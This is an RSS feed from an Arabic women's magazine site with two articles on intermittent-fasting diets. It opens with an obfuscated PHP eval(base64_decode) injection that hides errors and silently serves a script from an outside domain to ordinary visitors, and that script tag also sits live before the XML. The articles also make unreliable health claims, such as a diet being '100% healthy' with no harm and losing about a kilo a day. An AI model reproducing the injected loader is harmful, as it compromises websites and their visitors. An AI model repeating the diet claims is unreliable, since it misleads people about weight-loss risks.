eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | الصيام المتقطع سالي فؤاد</title>
	<atom:link href="https://jouzal.com/tag/%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9-%d8%b3%d8%a7%d9%84%d9%8a-%d9%81%d8%a4%d8%a7%d8%af/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Thu, 19 Jan 2023 00:17:20 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | الصيام المتقطع سالي فؤاد</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>رجيم الصيام المتقطع بالتفصيل لتخسيس 20 كيلو دهون في 3 شهور سالي فؤاد</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9-%d8%b3%d8%a7%d9%84%d9%8a-%d9%81%d8%a4%d8%a7%d8%af-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a/</link>
		
		<dc:creator><![CDATA[رانيا عبد المهيمن]]></dc:creator>
		<pubDate>Tue, 29 Dec 2020 21:32:05 +0000</pubDate>
				<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[#أنواع رجيم الصيام المتقطع]]></category>
		<category><![CDATA[#اكلات الصيام المتقطع]]></category>
		<category><![CDATA[#الصيام لمدة 36 ساعة]]></category>
		<category><![CDATA[#تجارب رجيم الصيام المتقطع]]></category>
		<category><![CDATA[#رجيم الصيام العكسي]]></category>
		<category><![CDATA[#رجيم الصيام المتقطع سالي فؤاد]]></category>
		<category><![CDATA[#رجيم الصيام المتقطع لمدة أسبوع]]></category>
		<category><![CDATA[#رجيم المحارب]]></category>
		<category><![CDATA[#فوائد الصيام المتقطع]]></category>
		<category><![CDATA[#فوائد الصيام المتقطع لحرق الدهون]]></category>
		<category><![CDATA[#نصائح الرجيم المتقطع]]></category>
		<category><![CDATA[#نظام رجيم صيام 16 ساعة]]></category>
		<category><![CDATA[الصيام]]></category>
		<category><![CDATA[الصيام المتقطع بالتفصيل]]></category>
		<category><![CDATA[الصيام المتقطع سالي فؤاد]]></category>
		<category><![CDATA[المتقطع]]></category>
		<category><![CDATA[بالتفصيل]]></category>
		<category><![CDATA[تجارب]]></category>
		<category><![CDATA[رجيم]]></category>
		<category><![CDATA[رجيم الصيام المتقطع]]></category>
		<category><![CDATA[سالي فؤاد]]></category>
		<category><![CDATA[فؤاد]]></category>
		<category><![CDATA[لسالي]]></category>
		<category><![CDATA[نظام]]></category>
		<category><![CDATA[وجبات دايت الصيام المتقطع]]></category>
		<guid isPermaLink="false"></guid>

					<description><![CDATA[رجيم الصيام المتقطع بالتفصيل هو نظام غذائي صحي وسليم مئة بالمئة للتخلص من السمنة والوزن الزائد وإنقاص الوزن بدون أي أضرار على الجسم، كُلًا من النساء والرجال يحلمون بجسم ممشوق وقوام مثالي جذاب، وبالتالي يبحثون عن طُرق تساعدهم على خسارة الكيلو جرامات الذائدة بسرعة، وقد تعددت الأنظمة والحميات الغذائية المبنية على دراسات طبية مُتبعة لخسارة [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>رجيم الصيام المتقطع بالتفصيل هو نظام غذائي صحي وسليم مئة بالمئة للتخلص من السمنة والوزن الزائد وإنقاص الوزن بدون أي أضرار على الجسم، كُلًا من النساء والرجال يحلمون بجسم ممشوق وقوام مثالي جذاب، وبالتالي يبحثون عن طُرق تساعدهم على خسارة الكيلو جرامات الذائدة بسرعة، وقد تعددت الأنظمة والحميات الغذائية المبنية على دراسات طبية مُتبعة لخسارة الوزن الذائد، ومن هذه الأنظمة <strong>نظام رجيم الصيام المتقطع</strong> الذي أنتشر في الوقت الحالي ليصبح من أشهر وأنجح الأنظمة التي تتميز بتأثيرها وفاعليتها في إنقاص الوزن الذائد بشكل سريع.</p>
<div>
<h2><span id="i"><span style="font-family: arial, helvetica, sans-serif;">رجيم الصيام المتقطع سالي فؤاد</span></span></h2>
<p>هو نظام يعتمد على الصيام المُتقطع Eat Stop Eat، أي تقسيم اليوم إلى فترات، يُمكنك تناول الوجبات خلال الوقت المُحددوالامتناع عن تناولها في الأوقات الأخرى خلال اليوم.</p>
<p>يعتمد نظام الصيام المتقطع على الساعة البيولوجية لجسم الإنسان، حيث تختلف طريقة إتباعه عن طريقة الصيام المُعتاد.</p>
<p>وقد بينت دراسات إماراتية عربية أن رجيم الصيام المتقطع من أنسب طرق فقدان الوزن وكذلك يحسن الصحة العامة.</p>
<h2><span id="i-2"><span style="font-family: arial, helvetica, sans-serif;">أنواع رجيم الصيام المتقطع</span></span></h2>
<h3><span id="__16"><span style="font-family: arial, helvetica, sans-serif;">نظام رجيم صيام 16 ساعة</span></span></h3>
<p>ويتم بصيام وقت 16 ساعة فقط من اليوم وتناول الوجبات أثناء الـ 8 ساعات الباقية من اليوم، ولكن يسمح بتناول الماء والمشروبات أثناء توقيت الصيام.</p>
<p><strong>قد يهمك: <a href="https://jouzal.com/%D8%B1%D8%AC%D9%8A%D9%85-%D8%A7%D9%84%D8%B5%D9%8A%D8%A7%D9%85-%D8%A7%D9%84%D9%85%D8%AA%D9%82%D8%B7%D8%B9-%D8%A8%D8%A7%D9%84%D8%AA%D9%81%D8%B5%D9%8A%D9%84-%D9%84%D8%AE%D8%B3%D8%A7%D8%B1%D8%A9-15-%D9%83/">رجيم الصيام المتقطع بالتفصيل لخسارة 15 كيلو في شهر بدون حرمان</a></strong></p>
<p>وهذا النظام مُناسب للأشخاص الذين يعملون على خسارة الدهون ويهتمون بتضخم عضلات أجسامهم.</p>
<h3><span id="__82208221"><span style="font-family: arial, helvetica, sans-serif;">رجيم الصيام العكسي “المعكوس”</span></span></h3>
<p>يعتمد تطبيق النظام على عكس نظام الصيام المعتاد، حيث يتم الامتناع عن تناول المأكولات والحلويات بداية من المغرب حتى صلاة الفجر.</p>
<p>خلال هذه الفترة يمكنك تناول المشروبات الساخنة الحارقة للدهون، أو الفواكه أو الزبادي أو السلطات.</p>
<p><iframe title="رجيم الصيام المتقطع بالتفصيل لانقاص الوزن 15 كيلو" width="1080" height="608" src="https://www.youtube.com/embed/NQyyxgr7byA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>
<h3><span id="i-3"><span style="font-family: arial, helvetica, sans-serif;">رجيم المحارب</span></span></h3>
<p>يحتاج هذا النوع إلى عزيمة وإرادة وفيه يُمكن الامتناع عن الأكل على الأقل 20 ساعة، وإفطار 4 ساعات من اليوم.</p>
<h3><span id="_24"><span style="font-family: arial, helvetica, sans-serif;">صوم 24 ساعة متواصل</span></span></h3>
<p>في هذا النظام يتم تناول الطعام ثم التوقف ثم تناول الطعام مرة أخرى، وفيه يُمكن الصيام فترة 24 ساعة متواصلة من مرة إلى مرتين أسبوعيًا.</p>
<h3><span id="_36"><span style="font-family: arial, helvetica, sans-serif;">الصيام لمدة 36 ساعة</span></span></h3>
<p>ومن أنظمة الرجيم المتقطع نظام فيه يكون الصيام أطول فترة ممكنة تصل إلى 36 ساعة وتناول وجبة الوجبات لفترة 12 ساعة.</p>
<p><strong>تابع: <a href="https://jouzal.com/%d9%85%d9%85%d9%8a%d8%b2%d8%a7%d8%aa-%d9%88%d8%a7%d8%b3%d8%b9%d8%a7%d8%b1-%d9%85%d9%86%d8%aa%d8%ac-%d8%b3%d8%aa%d9%8a%d9%81%d9%8a%d8%a7-%d8%b3%d9%88%d9%8a%d8%aa%d9%86%d8%b1-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af-%d9%84%d9%84%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-%d9%85%d9%86-%d8%b3%d8%a7%d9%84%d9%8a-%d9%81%d8%a4%d8%a7%d8%af/">مميزات واسعار سكر ستيفيا سويتنر الجديد للتخسيس من سالي فؤاد</a></strong></p>
<p>وهذا النظام يعتبر أصعب أنظمة رجيم الصيام المتقطع نظرًا لطول فترة الامتناع عن الأكل وقلة السعرات الحرارية.</p>
<h2><span id="i-4"><span style="font-family: arial, helvetica, sans-serif;">فوائد الصيام المتقطع لحرق الدهون</span></span></h2>
<ol>
<li>يعمل رجيم الصوم المتقطع على مُحاربة السمنة، حيث أنه يُحد من تناول الأطعمة التي تحتوي على سعرات حرارية عالية مع خسارة الوزن بطرق صحية آمنة.</li>
<li>كذلك عملية حرق الدهون وخسارة الوزن التي ترجع إلى ارتفاع هرمون النمو.</li>
<li>وقد وضحت نتائج الأبحاث تأثير الصيام المتقطع على كتلة الجسم بأن تستطيع إنقاص من 3 إلى 8 % من إجمالي الكتلة في زمن من شهر إلى ستة أشهر.</li>
</ol>
<h3><span id="i-5"><span style="font-family: arial, helvetica, sans-serif;">نصائح الرجيم المتقطع</span></span></h3>
<ul>
<li>نظام الرجيم المتقطع يتيح شرب المشروبات العشبية أثناء فترة الصيام.</li>
<li>يتوجب عليك إتباع نظام غذائي صحي يحتوي على الفيتامينات اللازمة للجسم، كالبروتينات، والمعادن، والفيتامينات.</li>
<li>الحرص على تناول الفاكهة والخضروات وكثرة شرب السوائل.</li>
<li>لا تمتنع عن تناول الأطعمة التي تحتوي على كربوهيدرات حتى لا يفقد الجسم مستوى الطاقة به.</li>
<li>الحرص على تناول الفاكهة والخضروات وكثرة شرب السوائل.</li>
<li>تعرف من هنا على خطوات <strong><a href="https://jouzal.com/?s=%D8%B1%D8%AC%D9%8A%D9%85+%D8%A7%D9%84%D9%85%D8%A7%D8%A1">رجيم الماء</a></strong></li>
</ul>
<h3><span id="i-6"><span style="font-family: arial, helvetica, sans-serif;">فوائد الصيام المتقطع للصحة</span></span></h3>
<p>بينت الأبحاث أكثر من فائدة عائدة عن إتباع الصيام المتقطع على النحو التالي:</p>
<ul>
<li>يفيد في إنقاص الوزن حيث يعمل على إذابة الدهون بالجسم.</li>
<li>يُخفض نسبة السكر في الدم وبالتالي يحمي من الإصابة بداء السكر.</li>
<li>التأثير الإيجابي على الصحة والعقل.</li>
<li>التخلص من بروز الكرش.</li>
<li>يقلل نسبة الكوليسترول في الدم.</li>
<li>يكافح الشيخوخة.</li>
</ul>
<h2><span id="i-7"><span style="font-family: arial, helvetica, sans-serif;">تجارب رجيم الصيام المتقطع لإنقاص الوزن<br />
</span></span></h2>
<ul>
<li>قالت أحد القارئات لمجلة جوزال “هدى رضا” أنها أثناء قامت بتجربة رجيم الصيام المتقطع لمدة أسبوع وبدأت تلاحظ النتائج الإيجابية.</li>
<li>وأكدت أنها لم تلاحظ أي سلبيات بالعكس لاحظت أنها بدأت تفقد من وزنها ما يقارب كيلو كل يوم بعد تطبيق النظام لمدة شهر.</li>
</ul>
<h3><span id="i-8"><span style="font-family: arial, helvetica, sans-serif;">تحذيرات</span></span></h3>
<ol>
<li>قد يؤدي إتباع رجيم الصيام المتقطع عند بعض النساء إلى انقطاع الطمث في هذه الحالة يجب التوقف عن ممارسة هذا النظام.</li>
<li>أيضًا في حالة الحمل والرضاعة لا ينصح بإتباع هذا النظام، وكذلك لمن لديهم ضعف في الخصوبة.</li>
</ol>
<p>أخيرًا عزيزي القارئ عزيزتي القارئة، أختر النظام المناسب لك وقوي عزيمتك للوصول إلى هدفك وتحقيق حلمك، ونرجوا ان نكون وضحنا كافة التفاصيل عن رجيم الصيام المتقطع سالي فؤاد .</p>
</div>
<p>نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>رجيم الصيام المتقطع بالتفصيل الممل نظام كامل 4 اسابيع لحرق دهون 15 كيلو عن تجربة</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d8%a7%d9%84%d9%85%d9%85%d9%84-%d9%86%d8%b8/</link>
		
		<dc:creator><![CDATA[زينب محمد]]></dc:creator>
		<pubDate>Tue, 01 Dec 2020 18:19:02 +0000</pubDate>
				<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[#اكلات الصيام المتقطع]]></category>
		<category><![CDATA[#الصيام المتقطع لانقاص الوزن]]></category>
		<category><![CDATA[#الصيام المتقطع للسيدات]]></category>
		<category><![CDATA[#عدد ساعات الصيام]]></category>
		<category><![CDATA[#نظام الصيام المتقطع]]></category>
		<category><![CDATA[#وجبات الصيام المتقطع]]></category>
		<category><![CDATA[الصيام المتقطع]]></category>
		<category><![CDATA[الصيام المتقطع سالي فؤاد]]></category>
		<category><![CDATA[خسارة الوزن]]></category>
		<category><![CDATA[دايت الصيام المتقطع]]></category>
		<category><![CDATA[رجيم الصيام المتقطع]]></category>
		<category><![CDATA[رجيم الصيام المتقطع بالتفصيل]]></category>
		<category><![CDATA[شرح نظام الصيام المتقطع]]></category>
		<category><![CDATA[وجبات دايت الصيام المتقطع]]></category>
		<category><![CDATA[وجبات رجيم الصيام]]></category>
		<category><![CDATA[وجبات نظام الصيام المتقطع]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=4867</guid>

					<description><![CDATA[يبحث العديد من الأشخاص الراغبين في فقدان الوزن وخسارة المزيد من الكيلوجرامات عن رجيم الصيام المتقطع بالتفصيل ، نظرا لشهرته وفاعليته القوية في حرق الدهون بإنتظام وشكل صحي، وسننشر لكم عبر مجلتنا جوزال نظام الصيام المتقطع كامل لمدة 4 اسابيع مجرب ومضمون، وسنذكر لكم طريقة تطبيق الدايت بشكل بسيط وباللغة العامية. رجيم الصيام المتقطع بالتفصيل [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>يبحث العديد من الأشخاص الراغبين في فقدان الوزن وخسارة المزيد من الكيلوجرامات عن رجيم الصيام المتقطع بالتفصيل ، نظرا لشهرته وفاعليته القوية في حرق الدهون بإنتظام وشكل صحي، وسننشر لكم عبر مجلتنا جوزال نظام الصيام المتقطع كامل لمدة 4 اسابيع مجرب ومضمون، وسنذكر لكم طريقة تطبيق الدايت بشكل بسيط وباللغة العامية.</p>
<h2>رجيم الصيام المتقطع بالتفصيل</h2>
<p>عشان بس الناس اللي هتبدأ من يوم السبت (بجدددد <strong><a href="https://jouzal.com/%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%af%d8%a7%d9%8a%d8%aa-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d8%a7%d8%b3%d8%b1%d8%b9-%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d9%88%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-20-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%b4%d9%87%d8%b1%d9%8a%d9%86/">النظام السحري بالتفصيل</a></strong>، ‎ نظام الصيام المتقطع كامل ٤ اسابيع &#8220;تغذيه+المكملات الغذائيه اللي بتساعد ع الحرق&#8221; ‎و يمكن تجديده للوصول للوزن المطلوب</p>
<ul>
<li>‎نوم ٨ ساعات علي الاقل.</li>
<li>شرب ٣ لتر مياه.</li>
<li>صيام ١٦ ساعه.</li>
<li>الاكل خلال ٨ ساعات.</li>
</ul>
<p><strong>ملحوظة:</strong> أول حاجه بالنسبه للمكملات ( دا اختياري هي حاجه مساعده و مش لازم كله مع بعضه براحتك ممكن حاجه واحده.</p>
<p>اوميجا ٣ حبايه واحده بعد الغداء.</p>
<p>لنضاره الوش حبايه من حبوب الخميره قبل الفطار و قبل النوم.</p>
<p>عشان ننقص المياه الزايده.</p>
<p>شاي اخضر ٣ مرات في اليوم.</p>
<p>شاي اخضر الكاي.</p>
<h2>وصفة البقدونس المغلي</h2>
<p>بقدونس علي كرفس و دا ممكن تعمليه في البيت حزمه بقدونس اضربيها في الخلاط و حطي عليها مياه مغليه ، او هاتيها من امتنان.</p>
<p>الرياضه فوق ١٠٠ كيلو هيبقي مشي بس عشان الركبه نص ساعه كل يوم.</p>
<p>الرياضه ل تحت ١٠٠ في البيت او الجيم.</p>
<p><strong>يهمك ايضاً: <a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-15-%d9%83/">رجيم الصيام المتقطع بالتفصيل لخسارة 15 كيلو في شهر بدون حرمان</a></strong></p>
<h2>نظام الصيام المتقطع كامل</h2>
<p>‎السناك بعد الوجبه ب ٤ساعات و ممكن مناخدهوش هيكون خيار و جرجير و خس و قته اي كميه.</p>
<p>ثمرتين او ٣ فاكهه ‎&#8221;تفاح او كمثري كيوي اناناس برتقال شريحه بطيخ جوافه&#8221; ‎اي حاجه تانيه ثمره واحده بس مرتين بس في الاسبوع.</p>
<h2>فطار الصيام المتقطع</h2>
<p>الفطار مثلا الساعه ١٢ الظهر &#8220;اختياري و الاحسن تنوعي مش كل يوم نفس الفطار&#8221;، يمكنك اختيار اي وجبة من الوجبات التالية:</p>
<ul>
<li>٤ معالق فول من غير زيت او سمنه + ربع رغيف بلدي.</li>
<li>٢ بيضه مسلوقه + ربع رغيف بلدي.</li>
<li>قطعتين جبنه قريش + ربع رغيف بلدي.</li>
<li>٤ معلقه شوفان + لبن خالي الدسم.</li>
<li>٣ معالق كورن فليكس + لبن خالي الدسم.</li>
<li>٤ بسكويت دايچيستيف لايت.</li>
<li>٣ ثمرات فاكهه &#8220;تفاح او كثري او كيوي او جوافه من غير بذر.</li>
</ul>
<h2>الغداء في الصيام المتقطع</h2>
<p>الأسبوع الاول: الساعه ٥ بليل هيكون &#8220;نشويات+ بروتينات + خضار&#8221;.</p>
<p>الأسبوع الثاني والرابع: هيكون الغداء من غير نشويات &#8220;بروتين+ خضار&#8221;.</p>
<p>الأسبوع الثالث: &#8220;٣ ايام نشويات و ٣ايام من غير نشويات&#8221;.</p>
<p><strong>شاهدي ايضاً: <a href="https://jouzal.com/%d9%85%d9%85%d9%8a%d8%b2%d8%a7%d8%aa-%d9%88%d8%a7%d8%b3%d8%b9%d8%a7%d8%b1-%d9%85%d9%86%d8%aa%d8%ac-%d8%b3%d8%aa%d9%8a%d9%81%d9%8a%d8%a7-%d8%b3%d9%88%d9%8a%d8%aa%d9%86%d8%b1-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af-%d9%84%d9%84%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-%d9%85%d9%86-%d8%b3%d8%a7%d9%84%d9%8a-%d9%81%d8%a4%d8%a7%d8%af/">مميزات واسعار سكر ستيفيا سويتنر الجديد للتخسيس من سالي فؤاد</a></strong></p>
<h2>وجبات الغداء دايت الصيام المتقطع</h2>
<p>البروتينات : ‎نصف فرخه ( صدور) مسلوقه او مشوي.</p>
<p>سمكتين من اي نوع بس يكون مشوي او في الفرن.</p>
<ul>
<li>٢ بيضه مسلوقه.</li>
<li>صدر ارنب.</li>
<li>علبه تونه.</li>
<li>كفته من غير دهون تكون معموله في البيت.</li>
<li>جمبري مشوي.</li>
<li>جبنه قريش.</li>
<li>الخضار.</li>
</ul>
<p>سلطه خضراء + خضار مسلوق او مشوي باي كمية ‎&#8221;كوسه او فاصوليا او باميه او سبانخ او بروكلي&#8221;.</p>
<p><strong>النشويات</strong> ‎من ٩ ل ٤ معالق رز من غير سمنه او زيت، ‎لو هتاكلي رز مطبوخ بسمنه او زيت يبقي ٣ معالق بس ‎او ٢ توست بني ‎او ربع رغيف بلدي ‎او رغيف سن.</p>
<p><iframe loading="lazy" title="الحل النهائي لمشكلة خمول الغدة الدرقية مع التخسيس وصفة + رجيم لحرق دهون 32 كيلو" width="1080" height="608" src="https://www.youtube.com/embed/-rHbq3gkjco?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>
<h2>العشاء في الصيام المتقطع</h2>
<p>نذكر لكم وجبة العشاء في نظام الصيام المتقطع بالتفصيل كالتالي:</p>
<ul>
<li>العشاء الساعه ٨.</li>
<li>‎جبنه قريش + سلطه.</li>
<li>كوبايه زبادي+ خضار.</li>
<li>٢ بيضه مسلوقه + سلطه.</li>
</ul>
<h2>عدد ساعات الصيام</h2>
<p>‎ 12 ساعه صيام &#8220;و ينفع كبدايه&#8221;:</p>
<ul>
<li>‎نوم 8 ساعات صيام ساعتين قبل النوم و ساعتين قبل الفطار ‎14 ساعه صيام.</li>
<li>‎نوم 8 ساعات صيام 3 ساعات قبل النوم و 3 ساعات قبل الفطار ‎16 ساعه.</li>
<li>‎نوم 8 ساعات صيام 4 ساعات قبل النوم و 4 ساعات قبا الفطار ‎18 ساعة.</li>
<li>‎نوم 8 ساعات صيام 5 ساعات قبل النوم و 5 ساعات قبل الفطار ‎20 ساعة.</li>
<li>‎نوم 8 ساعات صيام 6 ساعات قبل النوم و 6 ساعات قبل الفطار ‎24 ساعه ودا اسمه omad=one meal a day ‎ يعني وجبه واحده فقط في اليوم.</li>
</ul>
<h2>فترة الأكل</h2>
<p>‎نيجي بقي لفتره الاكل اللي هي اهم من الصيام نفسه ‎سواء هناكل وجبتين او 3 بيبقي مش اقل م 4 او 5 ساعات صيام تاني بينهم ‎لانه اسمه صيام متقطع فبالتالي لازم نصوم تاني بين الوجبات.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>